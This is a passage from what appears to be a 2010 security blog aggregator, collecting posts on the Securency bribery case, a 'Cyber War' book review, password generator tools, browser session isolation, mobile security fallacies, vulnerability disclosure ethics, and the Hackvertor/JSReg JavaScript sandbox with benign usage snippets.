Are they going to get it right every time? Absolutely not. Will some of them get it right? Yes, those that get code reviews or have a skilled financial services development team. How many media outlets meet these requirements?

Mark my words, there’s going to be a lot of folks making money out of the poor decision to not create a secure micropayments service for iPhoneOS.
Securency and bribery

Posted: May 24th, 2010, 6:21pm CDT by vanderaj

Tags: Security [edit]

Australia developed polymer (plastic) bank notes from the 1970’s onwards, and they’ve been our currency since the 1990’s.

This bank note technology is essentially counterfeit proof – notes can have holograms, microprinting, a transparent window, “watermarks”, very colorful inks, metallic strips, and the notes are long lasting and machine washable. There’s a lot of positives.

The company that is formed by the Reserve Bank of Australia to print and market this technology is called Securency. They’ve been embroiled in a bribery scandal.

I just don’t understand how a company with a technological monopoly (it’s hard to figure out how to print on plastic) let itself be the conduit for bribes, particularly in the countries where the bribes are alleged to have occurred.

If I was a negotiator, and my opponent asked for a commission, structured deals, or outright bribe, I’d just report them to the head office, let them report to the other side’s local police, and then wait for the other side to appoint a new negotiator after justice has seen to be done. Their new negotiator would be so careful it would not be funny – you mean to do business, but the stench of corruption will not be tolerated.

We’re talking central banks here. Countries that have corrupt central banks are failed states – we cannot and should not be a part of these countries.

Like all financial institutions, the RBA and Securency employees and agents would have had to have undergone background checks, and yet many of their representatives and head office staff still committed a very serious crime – one punishable by jail time in Australia. Just remember background checks are an indicator of past criminal convictions, not future actions. Don’t waste money on them – just have strict anti-corruption policies in place, and walk everyone is tainted. The rest of the staff will get the picture more than a background check ever will.

Justice League

Is Cyber War Inevitable?

Posted: May 6th, 2010, 10:24am CDT by gem

Tags: Cyber Security [edit]

Turns out that Richard Clarke is a national security policy wonk. I guess that fact is not that surprising if you knew that Mr. Clarke was once an Assistant Secretary of State working on nuclear arms control issues during the Reagan years. The general public knows Dick best as a key figure in counter-terrorism who famously testified before the 9-11 commission and then became enmeshed in partisan battles. Those of us on the front lines cyber security know Dick best as one of the first political types to focus real attention on computer security. For that, we owe Dick a major thank you.

In his new book Cyber War, co-authored by foreign policy expert Robert Knake, Mr. Clarke confronts an important topic too often swept under the rug with the burgeoning pile of security FUD—the notion of cyber war. US citizens have every right to worry about cyber war given our risk exposure. The risks of cyber war and some of the potential consequences are impressively covered in the book and even include doomsday scenarios that are getting Dick into hot water with the hipsters at Wired. Consider how little North Korea depends on the Internet (ok, they are only barely scraping by as a society), then consider the same dependency in the US. See the problem?

One of the challenges of discussing computer security rationally in the Internet Age is that devastating consequences always seem hyperbolic, even when they’re not. Turns out that taking down the power grid with a cyber attack is not outside the realm of possibility. I’ve been told by people who actually engineer and run the grid for a living that inflicting permanent damage taking years to fix is more than possible given current design. Nor is the notion of an Information Warfare attack preceding “kinetic” involvement with explosive chunks of metal some kind of idea from Mars. One of the coolest stories in the book involves the Israeli destruction of the ill-fated Syrian nuclear facility. Scary? Yes. Hyperbolic? Not so much.

There are a few technical nits to pick, of course. Calling out the Estonian dDOS attack (most likely perpetrated by the Russians) as some kind of major cyber attack is a bit over the top. dDOS attacks are the stuff of script kiddies and solutions that thwart them are over a decade old. Most problematic of all is the overemphasis on network security mechanisms and ISPs as proposed technical solutions to the problem. I know Ed Amoroso (CSO of AT&T) believes that security defenses and monitors need to be put in place in the tier1 ISPs, and it’s very clear that he has convinced Dick of that. But as a computer security expert, I am skeptical of that solution. In my view, the only way we can properly address the cyber war problem is by attacking software security head on. Fortunately Dick says the right things about software vulnerability, demonstrating a nuanced understanding all too rare among politicals.

From a policy perspective, the ideas in Cyber War are fresh, new, and important. Dick’s mastery of arms control strategy comes to the fore when he discusses various ideas about cyber war non-proliferation. I must confess that my knowledge of such things is rudimentary at best. I wonder, probably naïvely, how we can think of controlling something as invisible as cyber attack capability (not to mention Trojan Horses and logic bombs) when we can’t even stop Iran from refining uranium like the complete nut-jobs that they are. But SALT II and START came from somewhere, and they have been a very good thing for the world.

Some of my foreign colleagues in computer security (but not all, see this posting from Italy for example) wonder why we are so obsessed with cyber war in the States. They are not sure why we are the only society openly discussing these things. Perhaps they hear the drums of war beating again as they did in the impressively-orchestrated and utterly-delusional run up to the Iraq war. More likely I think the answer to that question lies in understanding just how vulnerable we are in the States. We may not be the most wired country in the world from a consumer perspective, but we’re the most wired country in the world from a critical infrastructure perspective. Cyber war is a serious problem that calls out for serious solutions.

In final analysis, I think it behooves every computer security person to read this book and think through its points carefully. Even if you disagree with some parts of the book (as I do), we must do what we can as technically adept citizens to involve ourselves in the political discourse around cyber war. Dick does an excellent job getting the conversation started.

Dominic White's .tHE pRODUCT

Password Strength Checker & Generator

Posted: May 4th, 2010, 11:49am CDT

Tags: Security [edit]
This has been reposted from it's original at my new second blogging home at SensePost.

In my previous role working as a security manager for a large retailer, I developed some password tools for various purposes, primarily to help non-security people with some of the basics. I licensed them under the GPL, and I think it's about time they saw the light of day.

There are a couple of tools, which I will explain below. They're all written in JavaScript, primarily because it is cross-platform, but can be centrally hosted. They all work in Firefox and Internet Explorer, although the automatic copy to clipboard functionality of the service desk tool is IE only.

The intention is for the tools to be placed into your organisation's intranet somewhere. I found they came in much use, allowing me to reference a specific tool and setting rather than esoteric password theory in documents. For example, security standards documents would say "Service account passwords should either be generated by the password generator set to the service account setting, or be rated as "very strong" by the password strength checker", which is far more practical than quoting a list of password rules.

Being centrally hosted also allows updates to be made immediately in the case of a policy change, new common password addition, or bug. This also allowed web logs to provide an audit trail of who was using the tools. Particularly useful in the case of monitoring service desk activity e.g. If the service desk records 100 password resets, and the tool only saw 10 hits, you know something's up.

If you're a tactile learner, you can grab them here.
Password Strength Checker
This tool was written in response to the poor attempts at password strength checkers seen on many sites. They do basic checks for upper, lower-case characters and numbers. This allows passwords like "Password1" to be marked as "strong." Primarily based on Tyler Atkins' entropy and common word checker, I put together a more advanced utility. This will check the chosen password for:
- Length (over 8 characters)
- Character sets (lowercase, uppercase, numbers, special characters)
- Frequency (checks for common sets of characters e.g. "u" following "q", biased to English)
- Common Words (checks that common words aren't used e.g. Password1)
I've added a progress bar from Gerd Riesselmann, and a key for guidance. I've also eased the password strength requirements to better fit reasonable corporate password policies. These can be easily modified in the code though.
There are two versions provided, one which displays the results of the entropy calculations, and one which does not (user's rarely care).
Password Generators
There are three password generators, each with a different audience in mind.
Full Password Generator
The full password generator is the most complex and has a number of features:
- Generate random passwords of varying complexity based on a "usage" selector such as "user", "administrator" or "service account". These match up to the complexity key in the strength checker.
- Generate lists of passwords to be used as distributed One-Time-Password lists. This is useful if passwords are regularly required between two parties to avoid using a static password. The list can be delivered via an alternative medium than the data being transmitted, and an agreed rotation period set up, such as a new password to be used "every day" or "every week".
- Create a NATO alphabet version of the password for speaking over the phone with the "will be spoken" option
The actual password generation code was courtesy of the no-longer-available CryptoMX tools, and the NATO alphabet conversion code was courtesy of L. Bower. Service Desk Password Generators
The service desk password generators were created to help the service desk stop resetting everyone's password to the same thing. It's one of the most pervasive security problems in any organisation, the service desk are told to reset passwords to some common password like "abc123", "Password<x>" or "<username>". Most user's know it, and if you do ever investigate service desk password resets, will find some serious abuses going on. This tool is a quick and dirty way to provide more reasonable alternatives for the service desk to use.

It's basic features are:
- A very simple interface and instructions
- A basic and somewhat unique password is generated
- A "pronounceable" version of the password is created in the NATO alphabet for speaking over the phone
- The password is copied to the clipboard (IE only) for pasting into whatever reset tool is in use
There are two versions, the first generates a strong random password, and the second uses one of a list of weak base words, with random numbers put on the end. The second was created after push back from the service desk agents saying that user's were complaining about the random passwords. I don't like the second version, because it is still fairly predictable, and someone internally could pull out the passwords and create a simple password list to feed to any number of tools. If you are going to use the second version, please use your own list of words, ideally several thousand to increase the entropy. The current list was created by taking the top 500 6-digit words from the Unix English (en) dictionary, and removing complex ones.
These tools where originally written when I was an employee of Deloitte South Africa, and while necessarily under the GPL due to included code, are still published here with permission of them. They have however, been updated since then on SensePost's coin.

The Spanner

Month of PHP security

Posted: May 4th, 2010, 3:23am CDT by Gareth Heyes

Tags: Security [edit]

Stefan Esser has launched another Month of PHP security. It includes popular applications which use PHP as well as general bugs. He also includes a general PHP security article that you really should read to help secure your code. I’d also keep an eye out for the hardening of PHP configuration which will be released shortly.

Dominic White's .tHE pRODUCT

Avoid Cross-Site Tracking with Stainless.app (and others)

Posted: May 3rd, 2010, 4:47pm CDT

Tags: Security [edit]

For years I've had a tinfoil dilemma. I know that companies trying to own the internet love dropping cookies, and then using those cookies to track you around the tubes. It started with the advertisers like DoubleClick who would drop their cookie, then rely on their distribution of banner ads. Every time your browser hit a page with one of their banner ads, it would send it's cookie along and help them track you around the internet.
This problem was mostly easy to solve by blocking third-party cookies, i.e. cookies for domains other than the page you are on. Things got a bit self-moderating too when the Network Advertising Initiative's members decided to push for tracking opt-out. This spawned tools like the Targeted Advertising Cookie Opt-Out which let's you opt-out of all the advertisers you can (currently at 90). There's problems with both of those options, but they at least provide mostly n00b-proof privacy. For the slightly less n00by Firefox add-ons like CookieSafe provide default-deny with one-click enable capabilities to drastically reduce the number of cookies you find in your jar.

The problem came in with providers who try and rule the world, while providing services I want to use. The most obvious of these is Google. When I first started using Gmail, I realised that Google forced you to accept a cookie from google.com to use the service, and you couldn't just accept cookies for mail.google.com. What's more, Google's code, either in the form of AdWords or Analytics is embedded on most of the internet, and I use several of their other services like Search & YouTube. This means that I have to accept their root, long expiring cookie and have my browser regularly send it to Google associated to my Google account identifying nearly every page I'm on.

My solution to this problem was previous in two parts. The first was to make sure than any "logged on" interactions I had with Google were in a separate Firefox profile. This ensures that the necessary google.com cookie set there would be isolated from my usual surfing. The second part was to limit my direct use of Google services. This lead me to Scroogle, a privacy enhancing Google scraper; and GoogleSharing.net, Moxie's identity randomizer for Google services. That meant that I could happily never have a google.com cookie set in my main browser, except in a isolated Firefox profile.

However, recently, the next challenge for the internet has created a new problem, Facebook. Facebook's recent salvo to rule the internet has lead to a plethora of sites embedding Facebook scripts in their pages for their like buttons. This means I am faced with the same problem as Google, a site I regularly log-in to, which sets a cookie strongly associated to my identity, and is regularly sent to the provider as I surf the internet. Initially, I just added Facebook to my isolated Firefox profile. However, this is where I discovered Stainless.app

Stainless.app is a very simple web-browser build off WebKit. Their key feature, is that they take Google's Chrome browser's per-tab process+sandbox a bit further providing per-tab sessions. What this means is that each tab (or sub-tabs you choose to spawn from it) is a self-contained session, and a cookie for google.com or facebook.com set in the one tab, would not be available to the next tab. This provides a per-default session isolation, preventing cookies from existing across a browser session, and not just cookies, sessions. Thus, if I were to log in to Facebook and have a cookie set for facebook.com, navigating to memeburn's website will mean the included "like" button's script won't be able to query that cookie, and will set a whole new one.

What's more, is that this buys you some security too, and has the potential to kill authenticated CSRF as an attack vector (by itself, but "please log in" style CSRF's would still work), because the tab you open up the CSRF attack in, wouldn't have access to your logged in session in another tab.

To enable this, you will need to install Stainless.app (OSX currently), then set Preferences -> Security -> "Create new single session tabs by default", and restart the browser.

Unfortunately, in using Stainless, I loose the ability to block third-party cookies entirely (they are still set, just per tab), the ability to block ads with AdBlock Plus and the extra security afforded by NoScript. The first isn't a big problem, given the built in isolation, the second can be somewhat recreated with Squid(or SquidMan for OSX)+SquidGuardian+Easylist, and the third, we'll just have to wait.

In short, this means I can consolidate into one default browser profile for by usual browsing, but I'll still need Firefox for anything else.

Justice League

With apologies to Peter Deutsche…

Posted: April 29th, 2010, 2:38pm CDT by jason

Tags: Mobile Security [edit]
A long time ago, when distributed computing was in its infancy, and the promise of new technology made early adopters of us all, a fellow named Peter Deutsche found himself pulling out his hair. There was, he reasoned, an unimaginable amount of positivity about this new “distributed” technology. Accordingly, Deutsche decided to record the “Fallacies of distributed computing” for posterity. Almost twenty years later, I think there’s still a lot of learning to be done.

At Cigital, I lead the mobile and wireless practice, and I often find myself in the same position as Mr. Deutsche. As I’ve watched the mobile industry grow over the years, I’ve seen a huge amount of optimism placed on the hardware and software that we’ve all come to find indispensable in our modern lives — the cell phone.

While I still remain optimistic, I’ve decided to pen my own “Fallacies of Mobile & Wireless” list, to spark some discussion and to get the industry rolling on some positive (and sometimes painful) changes.

The list goes something like this:
1. The (network|handset) is reliable
2. The (network|handset) is secure
3. Bandwidth is infinite
4. Users will accept buggy software
5. Handsets are homogeneous
6. CPU is unlimited
7. Users understand the risks to their privacy and data
8. Everyone has the latest hardware
Before you judge me curmudgeonly, let me say this: I have nothing but the greatest optimism for mobile and wireless technology; the benefits I’ve seen far outweigh the costs. However, I feel that it’s time to really set the record straight on some of the awful compromises that have been made. This is the beginning of an 8-part blog where we’ll explore each one of these fallacies, and tease out some of the group think that’s led us to the situation we’re in today, as well as some of the concrete actions we can take to improve the lot of mobile and wireless from the security, privacy, and, dare I say, reliability perspectives.

Let’s dissect the first idea briefly.

“The network or device is reliable”

The idea that we can make phone calls, browse the web, read our email, or watch YouTube has become a cornerstone of our mobile lives. Most of the time, things work pretty well. The nasty thing is, we predicate all of these things on a mish-mash of software and hardware over which we have little control. Application developers all over the world have been counting on the fact that network connections can be made, SMS messages will arrive safely, and that, in general, there will be few or no errors to deal with in the field. While this approach works well for media consumption (a la YouTube), we’re moving into dangerous territory as we begin to have ubiquitous banking, social networking, and other privacy-laden applications show up.

My hat is off to the wireless providers the world over, as they have generally been doing a great job of connecting us to each other for more than a decade. The biggest trick is that our general use of mobile devices has been undergoing a gradual but ever-accelerating change. We’ve gone from simple voice calls to short messages, and from short messages to multimedia messages, and from there… Well, we’re very close to having a highly-converged IP-based backbone with mixed traffic and an even larger universe of devices which can access it.

Does this worry anyone else? I don’t normally find myself sleepless over technology-related issues, but I do wonder how well both wireless carriers and mobile phones will cope with this eventual evolution. From network issues in large urban environments (Apple iPhone in Manhattan, anyone?) to guaranteed connectivity in rural areas , we have a lot of work to do to catch up to the needs of subscribers and the businesses who publish mobile applications.

The idea that mobile and wireless applications can simply abdicate their responsibility for error handling is quickly coming to an end. I hope that we’re ready for the tidal shift that will require us to learn our lessons all over again.

Dominic White's .tHE pRODUCT

In Defence of Vulnerability Researchers

Posted: April 24th, 2010, 5:53am CDT

Tags: Security [edit]

Verizon's Wade Baker (with assistance from Dave Kennedy, who I will refer interchangeably to as with Wade, Dave or Verizon) published a post claiming that vulnerability/security researchers are given too much leeway, and are closer to criminals than good guys. He suggests they should rather be called "narcissistic vulnerability pimps" (NVPs) in future. Dan Goodin got some clarification when writing his piece for The Register which expands on some of Verizon's motivations and justifications.

While I think I identify with part of his frustrations, he's wrong. Mostly due to an overconfidence in how vendors optimise for "shareholder value", but also because while scrabbling to paint vuln researchers as bad guys, he forgot about the actual bad guys.

Wade suggests three categories that could be used to describe security professionals, as they are neither exclusive, accurate or sufficient I'm going to ignore them. Instead, I'm going to try and distill what Wade believes is the problem, and his preferred approach while attempting to avoid the straw man.

Wade seems to believe that people who discover vulnerabilities, then publish them to the general public, whether after informing the vendor or not, are motivated predominantly by glory and not good intentions. The few motivated by good intentions, it seems, would also be labeled problematic by Wade (& Dave, as the quote is his) because:

[F]ull disclosure was never a good idea, even in cases, like Ormandy's dust-up with Oracle.

The alternative it seems Verizon would like to see, is that researchers who find vulnerabilities report them to the vendor and walk away. I'm assuming they'd allow for some follow up, but publishing the vulnerability publicly would earn you the NVP label. Once again a quote from Wade/Dave/Verizon/Dan Gooding:

"Apple has a responsibility to their shareholders and to their customers to deal with the vulnerabilities, and their shareholders and their customers can hold Apple's feet to the fire. They have their own ways of exerting pressure on Apple to behave in a way they think Apple should behave."

There's an obvious problem with Wade's approach; it isn't universalisable, and we have hard facts for that. There are many vendors who don't act on reported vulnerabilities as anyone who's ever submitted security flaws to vendors can tell you. David Litchfield has even waited a few years before eventually publishing Oracle vulns. Even if every vendor in existence responded to discovered flaws perfectly, there's no obligation for them to. If we look at the externalities pressuring them to action, sexy new features are going to please both shareholder and customers more. Those same customers and shareholders don't really understand this complex security mumbo jumbo, and so in the rare instances when they can patch a bug without at least one news outlet publishing a "OMFG there's a flaw in product X" the customers and shareholders still aren't going to fully appreciate the security fix. What's more, if a security fix prevents a customer from getting hacked, they will have no idea, and won't credit the vendor. The only time not deploying a fix will be a problem for the company is if a mass or high-profile public hack of their customers occurs. Given that most criminals don't like getting caught and that computer crime is hard to detect, that's a much rarer event than the actual occurrence of hacks. This is exactly why full disclosure came about, *in response* to the way vendors were ignoring bugs, to add another externality to drive them into fixing bugs.

This is where the difference between actual computer criminals and security researchers becomes important. Something Wade get's woefully wrong:

Have you ever heard of a terrorist referred to as a “demolition engineer?” How about a thief as a “locksmith?” No? Well, that’s because most fields don’t share the InfoSec industry’s ridiculous yet long-standing inability to distinguish the good guys from the bad guys.

The security researchers Wade is taking aim at are the one's who publish their work publicly (hence the addition of "narcissistic" I believe). But there are a whole whack of people who don't publish their work publicly, or to the vendor or even via vuln clearing houses like VDI (which eventually gets to the vendor). Wade doesn't pass judgment on them. Even those people aren't criminals. One could argue they aren't optimising for the public good, because an actual criminal could have found the same flaw and be privately exploiting it. They aren't criminals because they haven't committed a crime, or even harmed anyone. Actual criminals are people who either discover or buy flaws and then use them to (or have the intention to) commit a crime. This is the distinguishing difference between a thief and a locksmith, or a terrorist (an already loaded term) and a physical pentester. Their intention, and what they do with the information. One uses it to fix the hole, the other exploits it. This is why full disclosure exists, not the make money, but to encourage people to fix the holes, not exploit them. The fact that it can buy you a limited about of fame is a bonus because it provides an incentive to go public (one that pales in comparison to the hard dollars you can get via other means).

Finally, I do identify with parts of Wade's frustration with regards to people who either disclose without reporting to the vendor first, or hype a vulnerability way beyond it's actual risk. The first leaves the install base vulnerable with the exploit popularised, the second causes people to optimise resources poorly. There's room for updated research on vulnerability life cycles, to ensure the debate revolves around facts and not hypothesis. Either way, one should not be confused about which side those researchers are on. They are the good guys, their work could be used in far more evil ways, they do work the vendor isn't able/capable of. They make us safer, maybe not always in the best way, but in the end they make us safer.

The Spanner

Astalanumerator update

Posted: March 30th, 2010, 3:28pm CDT by Gareth Heyes

Tags: Security [edit]

I wanted a sexy object enumerator. There wasn’t any. So I developed the terminator of enumerators “astalanumerator”. I have since integrated it into Hackvertor because that where I seem to put everything nowadays. Anyway you can use it by visiting:-

1. [hackvertor.co.uk]
2. Type window into the output
3. Click Inspect.

Yeah damn sexy eh? It creates a tree menu of all available properties of a object by checking a big list of JavaScript properties I’ve collected. I use the MS Enumerator object too thanks to Manuel Caballero as I completely forgot about it. You rock!

The recent changes include a escaping bug because I do a crazy hack to pass the objects with modifying the existing js because I’m lazy =) so I have to double encode stuff. Added a colour code for object, functions etc changed to a fixed width font and created a nice preview of the code. Thanks to Adam Bliss for the cool suggestions.
Solving the secret question problem

Posted: March 29th, 2010, 11:05am CDT by Gareth Heyes

Tags: Security [edit]

I love to think of unsolvable problems and try to solve them. I dunno why I just enjoy it. One of the most challenging problems is “secret questions”. Everyone sucks at this, I’m looking at you Google. One of the first lines of defence for a unverified account can be a secret question. This is why my dog is called “mi(mqure~sb$ztrcjeoosc*m;wbyowdd@” online.

How to solve it? Well at first I thought of questions like “Which picture do you have in the front room of your house?” but there are problems. Like anyone can visit your house and see the picture or look through your window. The physical aspect of them having to do that though reduces the likelihood of it happening unless they really want your account. Doing this over a few accounts is also less likely because you’d need to visit all their houses.

Or do you? Damn you flickr. People upload pictures of their houses, this is bad using as part of a secret question because you can clearly piece the information together if available. Bruteforcing is hard though because your automated program would need to understand the question. Unless the attacker builds an automated program that gathers the accounts and questions in various frames and can picture the correct answer. Oh dear this is harder than it sounds. What if you decide to bin the picture? Not good so I thought of something else.

Open your hands and look at them. Can you see the ridges between your fingers? You carry this data with you all the time, it’s hard for someone to obtain without taking a detailed picture of your hands. We can use this data! Example instead of a question “What is your favourite cats name?” the better questions would be series of:-

“Please tell me How many ridges there are on your first finger left hand?
“Please tell me How many ridges there are on your fourth finger right hand?
“Please count the number of large ridges on your palm right hand”

You would require more then one question at a time and the you’d have to be careful about the questions chosen. I thought of ridges because they would be pretty different for each person and they wouldn’t mind disclosing the information.

ha.ckers.org web application security lab

ControlScan Settles with the FTC

Posted: March 26th, 2010, 12:53pm CDT by RSnake

Tags: Random Security [edit]

Got this in the mail today from ControlScan:

This letter is to tell you that we recently settled Federal Trade Commission (FTC) allegations that certain of our privacy and security seals were deceptive. Among other things, the FTC, the nation’s consumer protection agency, alleged that our Privacy Protected, Privacy Reviewed, Business Background Reviewed, and Registered Member seals falsely claimed to consumers that we had verified the privacy and security of the websites displaying them, when, in many instances, we had not.

We already have discontinued these seals, so you should not be displaying them. If you are still displaying any of these seals on your website, you must remove them immediately.

You may continue to display the Verified Secure seal.

If you have questions about this matter, please contact Joan Herbig at –snip–.

Sincerely yours,

Joan Herbig
Chief Executive Officer
ControlScan, Inc.

It’s interesting that the FTC has been looking into this - I’d be curious what sort of other security business practices are getting scrutinized. Could this be a new wave of deeper enforcement? There are certainly a lot of faulty business practices in security - so there would be no end to the possibilities there for an agency that just wanted to make a point.

Justice League

At the NRECA conference

Posted: March 24th, 2010, 2:57pm CDT by sammy

Tags: Software Security [edit]

I had the opportunity to address a group of electrical cooperatives at a recent conference in sunny Atlanta, which was actually snowy. I always welcome the challenge of bringing technical security concepts to a new audience and this was an excellent crowd. The ensuing Q&A showed the broad range of concerns from these small electrical cooperatives that are beginning to deal with a tidal wave of new statutory, regulatory, security, privacy, and technology requirements, along with things yet unimagined. Although the vast majority of these organizations are very small, I was very impressed by their willingness to understand and work toward meeting the new requirements.

I did have a case of the “ummmmmm”s while speaking.

Here is video of my opening segment and the first question of the Q&A. To see the full session, you can view it from the NRECA conference Keynote Speakers page.

The Spanner

Writing Hackvertor tags

Posted: March 24th, 2010, 5:21am CDT by Gareth Heyes

Tags: Security [edit]
My one man mission to create a social coding network is going well, if you read this blog previously you’ll remember my attempts at a JavaScript sandbox until I finally settled on JSReg as a method. I’ve refined the process of creating tags after trying to build them myself using the editor.
How to create a tag
Login to Hackvertor and click “Create tag” this will give you a JavaScript editor with a default blank tag. I’ve added this as guidance, the first part of the sample is a simple if statement that checks the first param for something. Params are tag params that the user can change when using your tag, the editor has these three params on the left hand side so that you can test. Lets say your tag supports one parameter and either encode or decode, place encode in the first param box and you can test that state in the editor.

You might notice that the sample tag uses an anonymous function, this makes it easier for you to return the output from the tag. You don’t need one for simple tags but I recommend you use one when developing more complex ones.

The left hand side also contains “name” which is the name of your tag and category to appear in the application home page, the help text at the bottom lets you describe what your tag and params does. This is useful for the user as before they add the tag they can hover over it and read what it does.

Every tag extends the special object property “HV” which allows you to reuse your code and others. Lets say you want to reverse some text, rather than writing this yourself you can use the HV object like so:-
```
code = code.HV('reverse');
(123).HV('reverse')
```
Notice this works with any object as demonstrated in the second part of the sample code.

In order to work with user input a special variable is automatically assigned called “code” you can test user input by placing something in the user input box above the editor. This automatically gets assigned to “code” and allows you to test your tag. Each time you modify the tag the code is automatically executed and any syntax errors will be reported.

You can also look at previous tags for inspiration.
Limitations
Like anything the sandbox isn’t perfect, one of the most common problems you’ll encounter will be arrays. When using arrays you need to make sure you define them using Array() not [] as it is assumed in the sandbox that [] is a object property accessor. Using the Array constructor can be tricky because Array(1) creates an array with a length of 1 but NOT with a value of 1 in the first element.

Try not to use complex for loops and avoid for..in loops where possible until the sandbox handles loops more effectively.
Special powers
I’ve added a fun element to creating tags. When you add tags in Hackvertor you get points and a special, when someone votes for your tag you get points, if a tag is malicious or bad you can get points removed. When you reach a certain status with the amount of points you’ve accumulated you’ll be able to perform a special power.

There are currently 7 special powers and depending what status you are you’ll be able to use them on weaker foes. This feature is experimental and I could remove it change it slightly depending on the results. Points can also be negative and will be awarded if a user tries to do some vote rigging or maybe forgets to select a user to perform a special power on. You’ve been warned

Justice League

Smart Grid equals Dumb Security?

Posted: March 22nd, 2010, 1:43pm CDT by gem

Tags: Software Security [edit]

I recently had the pleasure of giving a keynote at the NRECA annual conference in Atlanta. The conference brings together senior management and Board members from rural electric cooperatives throughout the country. Some coops are large in terms of the number of subscribers, and some are large in terms of geographic area covered (those numbers often run opposite to each other). My job as keynoter was to introduce some thinking about computer security to business people who operate power grids for a living. This is a big challenge for a geek like me.

Of course I ended up touching on software security, especially the fact that power meters for the “smart grid” are little IP-enabled computers hung on the outside of your house. Given known attacks against this new breed of meters, the question is how many rooted smart grid meters in a botnet could cause a really serious problem?

Here is my talk in its entirety. Your feedback is welcome.

Download audio [mp3]
Download presentation [pdf]

I’m pleased that Cigital is directly involved in working to make smart grid security a reality. We’re working directly with NRECA to bring electric cooperatives up to speed with cyber risk management.

tssci security

Pentesting Flex

Posted: March 18th, 2010, 9:57am CDT by Marcin

Tags: Security [edit]

I’ve posted an entry over on my employer’s blog on Penetrating Intranets through Adobe Flex Applications. I’ve also released a new tool along with it, called Blazentoo. This tool exploits insecurely configured BlazeDS Proxy Services, potentially allowing you to browse internal web sites. You can download Blazentoo from GDS’ tools page.

Also, be sure to check out my other post from a while back, Pentesting Adobe Flex Applications with a Custom AMF Client. This post goes into how to write a client using Python to make remoting calls with a remote Flex server.

The Spanner

Hackvertor API

Posted: March 15th, 2010, 6:36pm CDT by Gareth Heyes

Tags: Security [edit]
Over the weekend Stefano Di Paola broke my JSReg sandbox with some awesome vectors in particular the Opera one. He took my challenge after I laid down the gauntlet on the web app sec list. If you have some sandbox you want breaking, some Flash you need testing or general pen test work you should hire this guy he is awesome.

I patched JSReg by removing the prototype, callee, caller from the allowed properties, hopefully this will stop future attacks using this method until I can work out a way to use these safely. Then I got a bunch of great suggestions from Thornmaker and SDC, that made so much sense I reworked the recent Hackvertor code to modify the Object protoype. So now Hackvertor tags can call each other easily using this method for example:-
```
'abc'.HV('reverse').HV('base64',Array('encode'))
```
The API is extended further where you can include data and share it across tags, this is super useful when creating a standard list of XSS vectors, Unicode characters, shellcode whatever you like! First the example shows how a tag can be used to return array data. The second example shows how you can use this data within tags.

Data sample
Using the data

What’s great about this is that the data can also now be used externally, you can embed the sandbox from an external site and use your data. Of course using untrusted tags poses a risk that I’ll need to account for but if you only use your own tags it should be pretty safe to use them for fuzzers or other data.

Here is how to embed my version of Hackvertor tags:-
```
<script src="http://hackvertor.co.uk/export?id=1"></script>
<script type="text/javascript">
window.onload = function() {
parser = JSReg.create();
try {
                parser.extendObject('$HV$',(function(tags) {
                                return function(tagName, args) {
                                        if(!tags.hasOwnProperty(tagName)) {
                                                return null;
                                        }                                                                                                                                                       

                                        return tags[tagName].execTag(this,function(output){ return output; },args);
                                   }
                        })(window.Hackvertor.tags)
                );
                //EXECUTE YOUR OWN CODE HERE
                parser.eval("alert('abc'.HV('reverse'))");
        }
        catch (e) {
                alert(e);
        }
}
  </script>
```
At the moment Hackvertor doesn’t have all the tags the previous one had yet but why not help out and build a security tool together in the first coding social network.
Hackvertor and JSReg

Posted: March 11th, 2010, 10:55am CST by Gareth Heyes

Tags: Security [edit]
I’m not a developer any more so I find it difficult to update the experiments I’ve been working on but I managed today to upload the work I’ve done with JSReg and update Hackvertor. They are both integrated closely together because Hackvertor allows untrusted Javascript using JSReg.

The recent upgrade to JSReg allowed me to upload the Hackvertor changes I did a while ago, it is now very nice and easy to share code between users. At the moment registration is disabled but I plan to enable it once I’ve figured a way to stop user’s overloading the tag list.

You can see how the integrated JSReg parser works by visiting Public Hackvertor this will eventually replace the original one now online. There are only a limited set of tags as I’ve not had time to code them all but we have a couple of users on there that might start adding code if they haven’t forgotten their password =)

I found the untrusted Javascript feature difficult to code as sharing each tag inside a tag for example would require some tricky Javascript but I think I’ve managed to pull it off. I’ll document the JSReg stuff here and how Hackvertor allows tag objects inside tags.
Playing nice with JSReg
In order to use the parser effectively we need to be able to inject our own objects into the sandboxed environment without compromising the security of the sandbox. To do this JSReg supports some extension functions which allows you to inject a object directly. The following code sample shows you how to do it:-
```
parser.extendWindow('$tags$',(function(tags) {
  return function(obj, callback) {
                var code = obj.$code$;
                var tag = obj.$tag$;
                var param1 = obj.$param1$;
                var param2 = obj.$param2$;
                var param3 = obj.$param3$;
        if(!tags.hasOwnProperty(tag)) {
                return null;
                                                        }
return tags[tag].execTag(code,callback,[param1,param2,param3]);
}
})(window.Hackvertor.tags)
);
```
So here the “parser” is the JSReg parser, we use the extendWindow function to place a “$tags$” object within the sandbox. Notice the $ prefix and suffix, this is how JSReg protects objects/properties. We use a closure to send a Hackvertor Tag object to the sandbox which passes it a function that accepts a tag object and a callback. Hackvertor now uses callbacks for each tag, this allows conversions to be run in sequence without waiting for each function to return the output.

A simplified version of this can be seen below, this time we assign a value from a dom object outside of the sandbox to a reference inside the sandbox.
```
parser.extendWindow('$code$',document.getElementById('input').value);
```
The new Hackvertor
All tags are now user definable! Each tag can have up to three parameters, provide some help text and call existing tags from inside the sandbox To create a tag you simply have to return some output, inside a tag it has some special variables that are automatically assigned when a tag is called. The special variables are listed below:-
```
code, params, tags
```
The code refers to the original text passed to your tag, this could be plaintext or some text that has been transformed by a previous tag. The params is a simple numeric indexed array which refers to any params supplied by the user so for instance if you tag supports 1 param, you can refer to it inside your tag as param[0]. Tags contains the Hackvertor tag reference mentioned previously and allows you to call existing tags without having to write the same code over and over. I will show below how you to call the base64 tag that currently exists in the Hackvertor tag space.
```
tags({code:'abc',tag:'base64',param1:'encode',param2:'',param3:''},function(result) {alert(result);})
```
So this will call the tags function defined by extending the sandbox, it accepts a object and callback as it’s arguments. I send a string ‘abc’ and use the tag ‘base64′ I supply one param ‘encode’ and then use the callback to get the result of the conversion.
My RegExp is still leaking

Posted: March 4th, 2010, 5:10am CST by Gareth Heyes

Tags: Security [edit]
The great thing about standards is that sometimes they are blindly followed and it’s not until maybe years down the line that you realise they got it wrong. Personally I think standards should be organically developed in code then defined in a standard once the various flaws have been ironed out. Every standard should use code samples for every single thing they define, this way it is quite easy to spot the intention and how to abuse it.

You could argue this is already done but I disagree, we should have standard prototypes with testing code for each then we can use the code samples and the specification. The W3 decided to release a security list which is a fantastic idea but why did we take so long?

